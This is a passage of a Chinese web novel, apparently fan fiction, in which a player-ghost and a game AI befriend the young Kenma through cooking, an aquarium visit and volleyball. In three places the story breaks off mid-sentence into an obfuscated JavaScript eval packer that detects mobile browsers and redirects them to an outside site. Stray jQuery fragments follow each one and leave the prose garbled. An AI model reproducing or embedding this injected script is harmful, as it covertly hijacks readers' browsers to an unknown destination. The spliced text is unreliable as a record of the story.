一般是找个地方把它们埋起来,然后给自己筑一堵坚硬的墙,抵御它们的入侵。 不过今天城墙漏了一个缝。 我枕在厚厚的枕头上,下面是一封薄薄的信,今天的游戏让我又想起了那封信里的一句话。 “不要让过去束缚你,未来永远是自由的。” 在今晚的梦里,我变成了一道自由的风。 7. 研磨猫猫养成手札 06 * 研磨所在的小学虽然开设了烹饪课程,但在一些设施设计的方面,未免考虑的太不周全。 他耷拉着脑袋,恹恹地站在松子老师特地搬来的小板凳上,蘑古力脑袋隐隐酝酿着炸毛的趋势。 “嗨,请各位小朋友们听好啦。” “首先,烹饪的时候要穿上我们配套的厨师装扮,现在请拉开大家左手边的抽屉。” 研磨拉开抽屉,最上方是一顶儿童厨师帽,下方则是小孩尺码的围裙。 帽子……勉强还能接受。 他把一大顶厨师帽扣在自己头上。 随后抽出了抽屉里的那一件围裙。 他轻轻一抖,一整套围裙的真面目展露在面前。 “哇,这件围裙真是太好看了。瑛子你看!” 研磨面无表情地围上粉嫩嫩的围裙,上面还绣着巨大的猫爪。 研磨的灵魂飘出空洞的躯壳,把整张脸埋在厨师帽里。 他安慰自己。 没事的,全班都是一个款式的衣服,穿这种并不会在众人里显得突兀。 …… 希望千流今天不要来。 虽然千流一直说要跟自己合作完成任务,但他觉得她应该是鬼界比较摸鱼的存在。 直至现在她也只和自己完成了一个任务,获得积分后,干得第一件事就是兑换游戏来犒劳自己。 不过她们鬼界制造的游戏质量不错。 而且她经常三天打鱼两天晒网,一星期大概见两次面,随口一问去哪里了,千流就会很一本正经地说“鬼界要出差”。 但她可能不知道,自己每次要搞怪或者撒谎的时候,飘在空中的蓝色字符串就会心虚地微微晃动,这是研磨细致观察后发现的。 所以出差是假,他觉得按照千流的性格,大概率是去度假了。 因此,研磨开始期待起自己两眼一黑在鬼界的生活。 言归正传,他之所以不想神出鬼没的千流这时候到来,完全是因为她太喜欢给他拍照了。 而且千流每次拍照前总要发送一大串捂住胸口的浮夸表情包,然后询问他[我可以拥有一张超好看的研磨的照片吗!] 研磨觉得,或许是千流说话的方式太直接了,让他的脑袋开始打结,无法思考拒绝的方式。 又不会让人感到冒犯。 但是今天这套装扮…… [狐狸出现—狐狸震惊—狐狸被击中心脏昏倒,临死前它颤颤巍巍地说出自己最后的心愿] [只要让我拥有一张研磨穿围裙的照片,我将死而无憾。] 研磨捂住逐渐升温的脸。 ——所以千流为什么能在这种时候精准地到来。 * [怎么样怎么样。]小八骄傲地仰起头,[我们系统的精准载入功能和存档功能自研发以来一直饱受好评,绝对不会让玩家错过值得纪念的时刻。] “五星好评!”我小心把新得的CG存放进系统相册,发自肺腑地夸赞系统的这一功能。 “研磨最喜欢吃的点心是什么呢?”我好奇地问道。 “苹果派。”研磨毫不犹豫地回答我,“千流呢。” “我什么都吃啦。”我掰弄手指,“苹果派、豌豆黄、香芋糕、绿豆饼、凤梨酥……我不怎么挑食,除了虫子之类的,基本上什么都吃。” “日本会吃这些糕点吗?” “不怎么吃,都是中国特色的吧。”研磨看起来很感兴趣,“以后我会尝试的。” “好哦!我请客。”如果我和研磨在现实中认识的话,我们肯定是很合拍的饭搭子,说不定会走遍全世界来品尝各种美食。 美食博主也是一个相当不错的职业。 “不过。”研磨猜测,“松子老师大概会教我们做铜锣烧。” “为什么?” 研磨很平淡地分析:“因为学校突然增开了烹饪课,还指定班主任来授课。” “但是松子老师…其实非常不擅长烹饪,这周午休和我们一起吃午饭的时候,她连续吃了一周的铜锣烧。” 像是想到了什么很难以言说的场景,研磨微微一顿:“第一天的铜锣烧表皮有些发焦,其实也不怎么辨别出它的品种,后面几天松子老师越做越好了。” 研磨很费劲地说完一大串话,连发丝都趴了下来,递给我一个[这么说千流该懂了吧]的眼神。 我戳了戳小八,小声地说道:“研磨虽然不常跟别人交际,但一直在仔细观察周围的人吧,他居然连松子老师每天吃的是什么都记得住。” 小八默默回应:[不,或许只是松子老师焦黑的铜锣烧吓了研磨一条。] “其实玩游戏也是。”我回忆,“他几乎第一遍就可以找齐推理游戏场景画面中的伏笔。” [记得玩家说过不喜欢高智商的攻略对象] 在上个游戏里重复死亡的画面一下涌上心头,我努力抛去脑海里的那些画面:“拜托,我们可是非常纯良的养成游戏,不该出现那种情节。” “而且。”我疑惑,“我怎么记得没有告诉过小八我不喜欢高智商的攻略对象。” [玩家在申请内测时候的问卷里填写过了。] 好吧,又是我那青年阿尔兹海默症的先兆。 我看着所剩无几的暂停倒计时,突发奇想地问了小八一个问题: “那你这种智慧的AI知道攻略高智商对象的第一步是什么吗。” 小八的AI脑过载了。 “是兴趣,首先要让他感觉到你是一个很有趣的人,或许你们有共同的兴趣爱好,对事物的观点非常相同,一下子他觉得——看到了另一个自己。” 金色的沙漏缓缓流下。 “还有一种方法,就是你的身上有他最缺乏的一部分,那一部分是他潜意识里所向往的。” “最失败的攻略是让对方觉得你是个无趣的人,他对你的兴趣逐渐消失,不愿意探索你的内心。” 我觉得自己把话题扯远了,拍了拍愣在空中的小八:“我说这些只是想夸赞一下小八,比如现在我拥有鬼魂这层身份,恰巧这在研磨眼里是很新颖未知的事物。” 金色的沙漏已经流尽了,它看见玩家飘到研磨身旁,低下头编辑了一句话。 [今天松子老师会做苹果派(笑)] * 它还在消化玩家的那一长串话。 它真的是一个非常纯粹的AI,靠各种数据投喂和训练提升自己,现在也才五岁。在所有的数据中,小八最难读懂的就是和人类情绪有关的数据。 因为人类老是说反话,伤心的时候总是会说没关系,失落的时候告诉自己“到这一步也就足够了”。因此有时候要正向解读,有时候却要反向思考。 它最近被投喂最多的感情是爱。 根据大部分的数据分析,爱确实要出于兴趣,否则就没办法进一步了解对方,那爱的消散是因为对方无趣了吗? 小八思来想去,觉得或许是自己什么时候的犀利点评刺痛了玩家,以至于她耍坏般向自己投掷这种数据包攻击,试图让AI的大脑宕机。 ——绝对是这样。 * 而我对小八这一系列的脑内风暴一无所知。 此时的我在对研磨放下大话后,没有打扰傻乎乎的小八,独自点开了系统商城。 我现在已经相当适应这个系统商城不正经的第一页了,在一系列XXOO用具中挑选了一款—— [名称:属于你和他的私密空间] [功能介绍:只要使用此道具,就能创造出一个狭小的空间,空间外的人可以看到你们设置好的画面,而你们在空间中做什么都不会被发现哦~] [兑换所需一积分] 接下来是厨房用品分类。 我一连串购置了足够整个班级制作苹果派的食材:面粉、黄油、盐、苹果、柠檬汁、肉桂粉…… 这一大堆材料只需要一积分。 我觉得我和研磨完全可以靠倒卖系统食材发家致富。这个商城总是在一些奇奇怪怪的道具上收取大量积分。 最重要的一步就是。 我在商城购买了一份记忆替换药水,它的作用是将记忆进行编辑与替换。 说实话,这个商城里的道具要是出现在现实世界,绝对会引发伦理有关的争议。 其实身为通关鬼才玩家,我在见到这个药水的那一刻就眼前一亮。 我尝试篡改研磨对我的印象——比如说认为我是他生命中最重要的朋友,他对我的好感度已经满值。 然后我就收到了系统的警告。 [记忆替换药水只能编辑和替换相似的记忆,并且不能篡改与情感有关的认知。] 好吧。 我把这瓶十积分兑换的药水用在了松子老师的身上。 [在过去的一周,松子老师每天都苦学苹果派的做法,最后她制作出了最完美的苹果派并决定在烹饪课上把这个方法教授给学生。] * 绝对不是自己判断失误了。 研磨看着松子老师信心十足地让班长帮忙把食材分发众人。 肯定是千流给松子老师用了什么稀奇古怪的道具,研磨神色一凛。 总不会是菌子汤吧。 松子老师神色如常,除了浑身洋溢着自信地光芒,仿佛她是修炼许久的大厨。 他看到自己四周的锅碗瓢盆全部都飘了起来,食材像是长了脚一个个自动地排列整齐。 [他们看不到我们在做什么,不用担心~] 研磨放下心来。 刚刚他还以为吃菌子中毒的人是他自己。 [我刚刚接了一个任务,是帮研磨制霸厨房,成为整个小学最会做饭的崽] [放心,知道研磨不喜欢引人注目,我已经想好蒙混过关的方法。] 小八又幽幽地爬到我的头上,试图以它轻飘飘的重量压垮我,表示抗议。 [总之,我们先开始做苹果派吧] 第一步,是揉搓出软硬适中的面团。 我彰显自己从某度上学来的窍门,叮嘱低头认真揉面的研磨。 [要用这种软化黄油,刚好一按一个坑,这样做出的面团就会软硬适中。] 怪不得说细心的小孩很适合做面点。 我看着揉搓完面团浑身整洁的研磨,又想起自己在面点师傅那里第一次帮忙,手忙脚乱工作半天,面粉全被衣服吃个精光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988454|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我掏出与众不同的几颗苹果,是中国北方的“嘎啦苹果”,淋上柠檬汁防止它氧化。 熬糖的过程是所有制作过程中最治愈的一个环节。 赤红色的糖浆逐渐咕噜咕噜地开始冒泡,小小的泡沫合成几个大的泡沫,我忍不住把跳舞的泡沫戳破,换来了小八的啧声与研磨轻轻的笑声。 接下来研磨自告奋勇,拿起边缘都是橡胶保护套的锅铲开始翻炒苹果与糖浆,糖浆逐渐均匀地包裹苹果果肉,就像被琥珀珍藏其中一般。 制作苹果派上半部分面皮的过程如同编织一个竹篮,我们按照标准的教程把一条又一条面团层叠交叉。 然后就是放入烤箱。 苹果派像被充气的气球,渐渐地在烤箱里膨胀起来。 我趁老师不备,将我和研磨制作的苹果派悄悄置换出来,把商城里买的普通苹果派当作研磨的烹饪作业。 躲在秘密空间里,我们率先上演了厨子偷吃的戏码。 研磨大厨把松软可口的苹果派放入口中,苹果的芳香扑面而来,松脆的面皮发出“嘎吱”的声响,他的眼睛亮堂堂的,两颊被苹果派塞得鼓鼓当当,空出的一只手向我竖起一个大拇指。 我发送了系统自带的大拇指emoji. [我们一起做的苹果派真好吃。] 而事实上,我眼巴巴地看着小八把苹果派塞到自己的嘴巴里。 简直没有人权。 为什么全息游戏里的AI和攻略对象都能吃香甜的苹果派,只有玩家不行。 我决定在我的投诉笔记上再填一笔。 接下来要做的事情就相当简单了,我用两点积分批量复制了我与研磨制作的苹果派,和研磨合作悄悄放置在教室同学们的书桌里。 烹饪课结束后,最先发现抽屉中苹果派的是须原同学。 她惊讶地拿出苹果派。四周的同学们看到了,也相继发现了藏在自己抽屉里的苹果派。 苹果派的清香瞬间溢满了整个教室。 须原同学忍不住咬了一口,她猛地抬起头。 “这是我吃过最好吃的苹果派!” 研磨捧着手里热腾腾的苹果派,我敏锐地发现他上扬了十度的嘴角,及时发问。 [研磨为什么这么开心。] 有时候,快乐就像苹果派一样简单。 “可能是因为世界上多了好几个苹果派党。” “是吧是吧!”小八看着玩家光速地输出字符串。 “每次成功向别人安利甜豆花,我也觉得非常幸福。” “但是。”须原同学疑惑的声音传入他们耳畔,“这些苹果派到底是谁送的呢,我们的苹果派不都是要带回家和家里人一起吃的吗。” 众人的桌上都放着在烹饪课上做完的形状迥异的苹果派。 “咳咳咳。”号称中华百事通的佐藤同学站到了讲台上,他把黑板擦当作惊堂木,“我曾经听过中国的一个古老的故事。在他们那里有在田螺里的姑娘,会偷偷准备食物,打扫卫生。” “所以说,这一定是田螺姑娘送给我们的苹果派。” “哇哦。” “原来是这样。” 在班上的角落里,研磨的脸跟裹上糖浆的苹果一样红扑扑的。 [谁是田螺姑娘呢——] 研磨尚有一丝余力反驳:“这是千流和我一起做的。” “噢噢,那我就是一号田螺姑娘啦。” 小八深深地叹了一口气。 [根据本AI的测算,研磨和千流打嘴仗有百分之八十的几率会败北,因为千流的防御力很强大] 通俗地说就是厚脸皮。 研磨嘎吱嘎吱地咬着手里的苹果派,放空自己的思绪,将什么豌豆公主田螺姑娘通通置之度外。 * 现在,二十积分已经不能夺取我攻略达人千流的目光。 现在站在大家面前的是钮祜禄千流。 刚刚我登出了一会——进行了神圣的沐浴仪式。 接着,我在积分商城豪掷千金(一积分),兑换了超级转运符。 虽然名字叫做超级转运符,但功能介绍里说它只能提高百分之五的运气。 小八特地解释[百分之五的运气已经很高的,毕竟大家的运气值都在50左右,百分之五意味着好运的概率更大。] 我小心翼翼将它在手掌心放置一段时间,使其充分浸染我的双手,然后将它佩戴在我的腰间,随后神情肃穆地打开了系统的幸运转盘。 奖池上至上千积分兑换的“重塑新生”,按我的理解,这个道具应该是继承上一回合的点数然后开启新的周目,不过它没有说能否继承上个周目攻略对象的好感度。 不过我打算一个周目通关,这对我来说没什么用。 至于xxoo那一栏也完全不在我的选择范围内。 如果目的是为了更加快速地积攒羁绊,那抽到游戏、电影券、游玩券这类道具更加实用。 我在心中默念着这些道具,拨弄转盘。 指针渐渐停下。 ——水族馆一日游(是全息游戏自制的水族馆哦,给你完全不同于现实生活的体验,欢迎带你的攻略对象一起游玩!) 8. 研磨猫猫养成手札 07 * 我张大眼睛新奇地看着自己的双手,比17岁的我小了不止一圈,连抱起小八都有些困难,它一憋气,整只小幽灵就带着我从元宝钻石岛跃起,我们飘得和云朵一样高。 小八带着我在整个岛上巡视了一圈,我察觉到了它异常快活的心情,眯起眼,拨弄一下它头上的那根既像天线又像呆毛的物体。 “为什么我感觉你更喜欢我小时候的样子。” 小八收起了自己翘起的天线,自以为隐晦地瞟了我好几眼。 [首先,不是本AI对小孩有什么滤镜,据本人对人类社会舆情的监控,公共交通中刷新的熊孩子令不少人类烦躁不已] [但是,玩家小时候为什么长得那么乖] 白净的脸上缀着两颗紫葡萄,还附着晶莹的露珠。不说话的时候就像被放在橱窗中的洋娃娃,小八才发现玩家的眼睛其实是紫灰色的,但不细看和黑色十分相近。 穿着水蓝色的长裙,黑色的头发自然卷起,戴着蓝玫瑰礼帽。 我没有见过这样打扮的自己,于是对着镜子多看了几眼。 [感觉是大人都会喜欢的孩子] 我稍微弯腰,对着镜子摆正自己的礼帽:“诶,是嘛。” “所以,小八是觉得我长大的样子不讨人喜欢?” 玩家又开始乱说话了。 小八觉得没人会说长大后的玩家难看,在它的数据库里,玩家是数一数二的那一档。 就是眼型和小时候相比变化了许多,眼角微微上翘,笑起来像只狐狸。 ——根据它对玩家的了解,每次她一这么笑,就是酝酿着一肚子逗人的想法。 今天生成童年版玩家,是因为系统水族馆的水质特殊,所有的魂体都会变成实体的样态,因此研磨也能看见玩家和它。 玩家可以自主选择童年或本体形态。 千流果断选择了童年形态,毕竟对小时候自己的印象早已淡化。 而由于研磨不知道小八的存在,小八今天不能跟随在千流的身边。 [玩家一定要注意幼年攻略对象的身心健康啊] 直到研磨即将传送来的前五分钟,小八还举起尔康手这样督促我。 * 小八一离开,整座元宝钻石岛如同坍塌一般,猝不及防地坠入深海。阳光离我越来越远,伸出手只能触摸到寂静的黑。 我下意识屏住呼吸,蓝色的幽火星星点点地从海底升起,亲昵地蹭了蹭我的脸颊。 我惊叹地张开嘴,才发现在这片海域我竟然能够照常呼吸。 扑通一声,一团莹白色的气泡裹着熟睡中的研磨来到海底。该怎么说呢,总觉得这个系统跟我一样,有种捣蛋的恶趣味,比如说拽着还在睡觉的研磨就这么来到了这个地方。 我戳了戳泡泡,打算研究一下它是什么材质,当我的手触及它的那一刻,它就像没有存在过一样消失了,研磨还没有反应过来,刚半睡半醒地睁开眼睛,整个人就向下坠落。 我连忙拉住他的手。 他下意识紧张地屏住呼吸,我安抚地拍了拍他的手,张嘴说道:“我是千流。” 我指了指自己的嘴巴:“这里可以呼吸。” 研磨很快恢复了镇定,他环视四周,最后视线落在我们相扣的手上。我松开他的手。 蓝色的幽火很快把我们团团围住,就像在绕着我们跳舞一般旋转,随后拼凑成一句话——欢迎来到海洋世界。 我小声说了句谢谢,蓝色幽火雀跃地打了个转,变成了粉红色的幽火。 研磨欲言又止地看向我:“千流你只有七八岁...” 我读懂了他的未尽之语,解释着:“我是十七岁的时候变成鬼魂的,不过我们鬼魂可以随便选择自己是哪个年龄段的相貌。” 我指了指粉红色幽火们铺成的海底小径:“一起去看看吧。” 五彩斑斓的珊瑚旁徘徊着成群结队的小鱼,队列整齐的旗鱼飞速地从我们的身旁穿行而过,像空中高飞的雁,我看着水母的裙摆在水中跃动。 “会遇到鲨鱼吗?”研磨突然有些跃跃欲试地问道。 我默不作声。 自小我就看出研磨这孩子胆子特别大。 我“哈哈”一声:“如果有鲨鱼,希望它不要追着我们咬。” 海洋里的生物突然绷紧了神经,小丑鱼的队列一下被打散,四处奔逃。 我们回头望去,一只身躯庞大的鲨鱼遮住了大片幽光,迅速向我们游来。 我暗道一句“转运符完全不转运”,抓着研磨的手就往前方游去。 我们徜徉在海中,分不清身边的鱼群是被我们吓跑,还是被紧随其后的鲨鱼,总之我们凭借着本能向前游去,能游多快就是多快。 研磨突然松开我的手,拽住我的衣角,我茫然转头:“研磨是跑不动了打算留下来被鲨鱼吃掉吗。” 研磨一噎,琥珀色的双眸映着无奈:“倒也没有丧失求生本能。” “千流没有发现来到这里的一切都很不对劲吗。” 当然。各种海洋生物齐聚一堂,水底能够呼吸,还有这些仿佛有意识的幽火。这毕竟是游戏世界的水族馆。 “你刚刚想着鲨鱼,鲨鱼就出现了。”他说,“在此之前我想看水母,下一秒水母也出现了,所以可以猜测这里的生物是根据我们希望看见的复制出的。” “所以。”我接着他的猜测说道,“我们刚刚游那么远也一直不觉得累,是因为我们心里一直在想要游得更快一些?” 他黑色的发丝在水流的搅动下摇曳着,像水母的伞盖,那双琥珀色的眸子里明明灭灭,是剔透的颜色,却又像深不见底的汪洋,他的嘴巴一张一合,我却在此之前就隐约猜到了他想说的话。 “要印证一下吗。” 我觉得这时候的他不像是前些天被喊“田螺姑娘”就会害羞的小孩,更像塞壬女妖,而我是被他魅惑的水手。 我忽地笑了,把被水流搅到前额的发丝撩至而后,问道: “你疯了吗。” 然后拽起他的手,转身向身后的鲨鱼游去。 直到距鲨鱼咫尺的距离,我松开他的手,游到鲨鱼张开的血盆大口前。 鲨鱼忽然变得温顺起来,后退半步,乖乖地合上嘴。 研磨笑着摇摇头,我觉得这次的笑容比之前的每一次都更开怀,他回问:“千流才是疯了吧。” “我想让鲨鱼变得更温顺,你呢?” 我伸出自己的手,双手一碰,发出脆响:“我嘛,我想着让自己的身体变成鲨鱼咬了都要磕坏牙齿的硬度。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988455|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研磨愣在原地,琥珀色的瞳孔里流转着海水的波纹,我从他眼中看到穿着洋装举起手的自己。 这么一看确实有点像恐怖电影里会突然咧开嘴笑的玩偶,我拖着铁块一样沉重的身躯后退了几步。 “吓到你了吗?”我试着把自己调成常人的躯体。 研磨回过神,突然直直望向我,和之前几次都不相同。他不常直勾勾地看人,和不熟的人总是低垂着脑袋,用余光静静的观察对方;和熟人则是懒懒散散的,只是偶尔浅浅地抬眸,那当然是因为对方说了些过于滑稽的话。 他摸了摸游到自己身边异常温顺鲨鱼的脑袋,琥珀色的眼眸照出我灵魂的底色,和初遇的那次见面一样,我有些无措地错开眼,但他还望着我。 “千流就是会这样。” 藏起来的刺悄悄冒出头。 我耸肩:“说得跟研磨和我很熟一样。” 气氛突然冷却下来,我摸了摸鼻尖,垂在身侧的手微张,脑内忙碌地想要搜刮一些说辞。 对着小孩加上攻略对象说“其实我们还没有很熟”这种带刺的话,忽然把气氛变僵,可不是什么专业游戏玩家的选项。 “唔,现在确实不是很熟。” 我的视线在他和鲨鱼间徘徊,断开的思绪又再度重连,我试探地问了问:“你还是研磨吗?” 双重人格? 这在我玩过的游戏里倒也不算少见的人设。 “我是和千流蛮熟的研磨。”他侧目望去,远远的一只小八后面跟着一连串的小幽灵,浩浩荡荡地飘过来。 研磨比了个嘘声的表情,他靠近我,像是这样的我很少见一样,要把我的样子刻进脑海,他抬手揉了揉我的脑袋,温柔又带着让人难以回避的力道。 “下次见。” 行色匆匆奔来的小八二话不说就把薅来三四只小幽灵变成一把大锤,在我来不及制止的时候就冲着研磨的脑袋敲去,而后跟熟练工一样,剩下几只小幽灵飘来扶住往后倒的研磨。 小八表情严肃地拿着锤子东敲西敲。 我摸了摸自己幻痛的后脑勺,凑上前去:“小八这么敲真的不会把研磨敲傻吗?” “这不是真的锤子,只是道具。” “是bug吗?” “可以这么说。”小八指使两个小幽灵吹起研磨额前的刘海,对着额头正中央又来了一下,“是因为这里的海水太特殊了,导致攻略对象的数据混乱,刚刚调出的是很多年后的数据。” 我盯着闭上双眼的研磨,探头探脑好奇地围着小八询问:“小八,研磨长大了之后会咻地一下性格大变吗,怎么感觉以后我怎么逗他他都不会害羞了。” 发丝还残存着被触碰的感觉。 “那样可太遗憾了。” 小八一脸[玩家太恶趣味了我不好评价],并换上客服的官方回答:“到底长大了之后的研磨会变成什么样,还请玩家亲自体验后做出评价哦,本AI并不知道这些。” 它把即将转醒的研磨塞进了我的怀里,说实话不算轻,我一个踉跄。 它不顾我手忙脚乱的动作和悠悠转醒的研磨,轻飘飘留下一句[玩得开心]。 我看着怀里瞳孔微张的研磨,待他站直后举起双手:“我可以说明刚刚发生了什么。” 9. 研磨猫猫养成手札 08 “都怪小八。”我指指点点,“虽然我们没有攻略进度条,但我们的进度绝对退了一大截。” 自从研磨从我怀里醒来之后,他总是面无表情地假装无事发生,实则脑袋烫得可以把一壶水瞬间烧开。 “呵,玩家你明明乐在其中,并发出桀桀的笑容。” 我目移,没有人能抗拒头上冒热气的蘑菇力脑袋吧,绝对没有。 我俩挤了挤坐在研磨放置在床边的猫爪小坐垫上,从正常人的视角看,小坐垫在疯狂吸入熊猫饼干。 但研磨早已见怪不怪,早已提前好几天预测老师会布置什么周末作业,并提前完成的他专心地玩着新到手的游戏。 我滑动系统界面:“三个支线任务,第一个完成之后没有刷新,制霸考场,说真的小八,像研磨和我这种智慧的人,就算对学习没有什么兴趣,考好也还是蛮容易的。” 小八默默吐槽:[请玩家不要偷偷把自己连带着夸一遍] “只需要找到学习方法并高效完成每个任务就行。” 小八接着吐槽:[只需要?] 我闻着熊猫饼干望梅止渴:“但是,这个任务才是最不可能的吧。” 我和小八默契地幽幽转过头,看着懒洋洋靠着椅背缩成一团的研磨。 “制霸球场?”我摇摇头,“如果研磨愿意去打排球,我出了游戏就买一份曲奇饼干把自己喂胖。” [玩家还是不要先诅咒自己]小八刚开始还没有意识到我说了些什么,它止住暴风吸入熊猫饼干的动作,[你明明是在奖励自己吧!] 但我这番推测完全是基于事实,怎么样也没办法想到节能的研磨在排球赛场上挥洒汗水的样子。 那每次训练完我都要抬着一个担架和小八一前一后上演灵异事件,把累瘫的研磨运回家。 ——那也不错嘛。 我甚至开始跃跃欲试了。 “咚咚咚”三响,在研磨说完请进后,黑尾猛地拉开房门,闪亮亮的眼眸穿过我和小八,臂弯下携着让人难以忽视的排球。 “研磨,一起来打排球吧!” 我和小八默默往后拉一个身位,以绝佳的身位将两小只尽收眼底。 研磨把半挂着的耳机彻底摘下,揉了揉耳垂,有些难以置信地重复了一遍黑尾的话:“一起打排球?” 黑尾抱着排球,半蹲在研磨面前,把那只排球举得高高的:“一起打排球!” 研磨将耳机放到一旁,眼眸渐渐眯了起来,然后别过脑袋:“不要。” “诶?!” “很累的。” “不会不会。”黑尾拍了拍自己的胸膛,“只是作为业余兴趣,不需要每天练习,而且不是每一个位置都需要走动哦。” 他不知道在哪个裤子口袋里塞了一张排球战术讲解图,看样子是有备而来,对着上面的几个位置讲解起来:“你看像这个,这个,都不用很跑动。” 我探过头,对身旁的小八说:“他是从哪里学来的?” “小黑是从哪里看来的。”研磨问道。 “过年的时候,看我表哥练排球的时候发现的。”黑尾笃定地说,“这几个位置的人明显懒洋洋的。” ...... “不。”我与身旁的小八吐槽道,“有没有可能是因为那个排球队训练的时候这几个人偷懒了?” [这次我认可玩家的观点。]小八垂下脑袋捣鼓一阵。 “小八在做什么?” 它表情严肃:“在积分商城购置把研磨抬回家又能隐身的担架。” * 担架或许不需要,但可能需要一碗冰镇豆花。 冰爽可口的豆花凭空出现在研磨身边,这摊猫饼倦倦地侧目,一声不吭地伸出手。 我把豆花搬远些。 研磨默不作声地炸毛。 “系统刚换出来的豆花太冰了。”我解释,“会吃坏肚子。” 他双目失神:“那就让我坏肚子吧。” 话虽这么说,研磨还是稍微直起身子,把白色的毛巾随手往脑袋上一扣。 我顺手摘下毛巾,捏起两角将它铺平,软趴趴的毛巾躺在研磨的头上,我按照自己平时觉得舒服的力道帮他稍微沥干了头发。 运动的确容易让人升温,我看见研磨脖子上的红晕迟迟没有退散。 “千流很经常照顾人吗?”他突然问道。 “我吗?”有时候是会照顾星愿,“我家里没有别人,是照顾自己多一点。” 大概是帮研磨擦头发激发了我的养崽热情,我忍不住以“过来人”的口吻叮嘱:“平时还是要多注意保暖,头发要及时擦干,吃冰的对胃不好。” 研磨一脸别扭地接过毛巾,自己擦拭着:“千流不要用对小孩子的语气跟我说话。” 我自言自语嘟囔着:“不就是小孩子吗。” “总之,还是要照顾好自己不要生病,生病是一件很麻烦的事情。” “鬼也会经常生病吗?” 我席地而坐:“鬼是不会生病的,我做人的时候倒是经常生病。话说,研磨好像对做鬼的事情都很感兴趣啊。” “什么都可以问我哦,我可是鬼界百事通。” 良久,研磨递给我一个[脑电波根本没有对上]的信号,他深吸一口气,捧读:“啊——确实对鬼界很敢兴趣,麻烦千流告诉我鬼会有经济压力吗。” 我怎么会知道鬼界的经济情况,毕竟我又不是真鬼。 只好一通编纂。 “是啊,鬼都需要自力更生,找不到父母的鬼更是,所以鬼要靠打工赚钱,所以不能生病,生病了做事的效率就会下降,带来很多麻烦。” 研磨对着空气打量我:“千流又在说谎。” 哈?! 虽然上述对鬼界经济情况做出的阐述纯属本人瞎编,但是研磨不该知道吧。 研磨捧起已经没有那么凉的豆花,送到嘴边,他想起什么:“做任务获得的积分可以换鬼界的钱吗?” “不能哦,积分对我们鬼来说是一种荣誉,倒是可以换很多稀奇古怪的道具和阳间的东西...”我歪头,看向若有所思的研磨,把小八的毛球玩具投掷到他的怀中,“小孩子想那么多事情长大之后眉毛都会长到一块去。” 研磨摸了摸自己的眉心。 “研磨喜欢打排球吗?” “算不上喜欢。”他站起来,又垫了几球,“但是既然开始做了,就要做得还算不错,否则...” “就像打游戏打到一半就举白旗一样。”我接过他的话头,“那感觉也太糟了,对吧。” 我也站起身,架起手:“我也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988456|161580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍微学过一点排球,陪你练练看吧。请研磨对着你的正前方发球。” 三色排球在空中被抛来抛去,年纪大一岁的黑尾刚被教练拎去特训,他火急火燎地抱着排球,远远地声音就已传来。 “研磨,我来跟你练。” 我猝不及防地又在黑尾目瞪口呆下默默把球丢下去,找了一个犄角旮旯假装自己完全不存在。 研磨泰然自若地捡起球:“怎么了吗?” 黑尾呆呆地指了指排球:“刚刚,排球飘在空中。” “是球到了最顶点速度就会为零,看起来跟停滞在空中一样。”研磨垫了垫球,“小黑可以去问教练,他一定也知道。” “诶,这么厉害,简直就像魔法一样。”研磨的眼神流转到豆花上,他问,“要喝豆花吗,小黑,我妈妈带来的。” “刚刚阿姨来了吗,我还没问好。” “很好吃。” 窝在角落的我亲眼见证了研磨是如何一步步转移黑尾的注意力,最后和他仿佛什么事都没有发生过一样练起排球。 ——简直有我三分风范。 * 在研磨和黑尾于家门口道别后,我拜托研磨在晚上一定要陪我去看独角仙。 ——在看过某柯动漫的那集有关独角仙的案件后,我就对日本的这类独角仙产生了极为浓厚的兴趣。 “研磨会不会怕虫子。”我想到虫子是很多人的雷区,于是多问了一嘴。 研磨的眼神瞬间变得坚定起来:“我去。” 夜晚的东京格外寂静,我们在一处浆果丛里发现了他们的踪迹。 “日本人是不是很喜欢独角仙。”我看着他们看起来异常坚硬的外壳。 “小时候看过的绘本里有说,独角仙是勇气和力量的象征,人们总是把自己心里美好的品格寄托在这些生物上。”他小声地说着,就像害怕惊扰了它们的行动。 “说不定独角仙并不喜欢。”我仗着自己是它感受不到的灵体,伸出手碰了碰它的触角,它摆了摆自己的脑袋,滚着地上的浆果。 “不清楚。”他蹲着身子,身上洒满月光,“有时候人比虫子好懂。” 又像是在自说自话:“有时候也不是。” 我看着有些孩子气懊恼地放任自己大脑宕机的研磨,笑了笑:“研磨总是跟个小大人一样,没想到还有你想不通的事情。” 他看向罪魁祸首:“比如千流为什么撒谎,我也想不清楚。” “诶,那我肯定都是不得不撒的谎。” 总不能说撒的这些谎全都是游戏要求,我的最终目的是攻略你吧。 